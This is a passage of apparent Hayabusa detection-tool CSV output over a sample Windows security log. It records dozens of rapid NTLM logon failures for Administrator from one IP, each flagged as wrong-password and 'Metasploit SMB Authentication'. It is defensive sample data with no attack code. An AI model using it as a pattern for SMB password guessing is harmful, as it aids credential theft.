Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NBAAjRdaR8U0tqt7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.817 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.857 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EmqUjcltAW6StHQJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.857 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 129Rp3HCmRVRXw3C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.908 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jpIIQP2oWEF51EBI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.945 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.975 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HREGh5ppEkLAuEob : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.975 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.022 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UVkpQvotEMfM8R0C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.022 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dm6uHEy5RJJBJ6FG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.068 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HPTyAkYjcIlko5lu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.109 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.155 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OjlRoo9Sot4Fx4Th : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.155 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.205 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XslY26kw2aBw19D8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.205 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.242 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1404fakprYeqGiNY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.242 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.281 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y2VfIjtBcXCRlOjp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.281 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.317 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LPztyX4J9NV8EldT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.317 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 07flrrzWgsVBYaN2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.373 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vgkqkC1VvznGxR6N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.409 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.461 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hMn6yDMLgLChJTL6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.461 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.501 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uSTokOJ31Tj0bLXv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.501 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.534 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TyRifC46GrNpTA4x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.534 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.577 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CvNaby30vAT9drAX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.577 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wkYSOQ2bD51a4U8l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.625 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rqdOquL9Ax01RPPU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.669 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.705 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nqCCiK5arcyRHha6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.705 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TpyTGZLkAb0w0kgW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.749 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wa2pXrZKxeZZYKAq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.789 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.900 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dK0N5KeBgCze1YWi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.900 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.029 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g4dHlwZjMzI5wU2s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.029 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.075 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GzF2ouP5KkRfsxnf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.075 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RSQxMrGlDiAOo6ri : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.109 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gL0rz3p1yG6RhfAT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.148 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oyChoTSKgJeK6yqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.196 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.234 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tG4I11dwpBM9SM3l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.234 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B7foAZ5Y1igCbHap : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.276 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.327 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ATDXUljQwg8WvUVs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.327 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QdmXaJqQMAG2g6Ao : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.373 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.413 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bjame5puT5CDeoIG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.413 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.454 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0FGGVVkckmdURVh6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.454 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.485 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j0Smqw4cA4wG2Q6m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.485 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KLWloOhUYEQlj6y6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.521 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Tuxuykh0j5afeTH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.569 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.609 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aeXS6QwYhqJAOeuz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.609 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AqFSJCq5bmBW6dj1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.666 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.718 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DH1zyt1hxTgzajhW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.718 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.761 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rrZxcWjUX4OgYYIb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.761 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.807 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ExtkYXSJI8F41uvw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.807 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sLh1Q3RieOoukiCT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.845 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.881 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kNb2hZDxi4QrbQpx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.881 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.923 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jCb1TMlFj2PjH2sA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.923 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 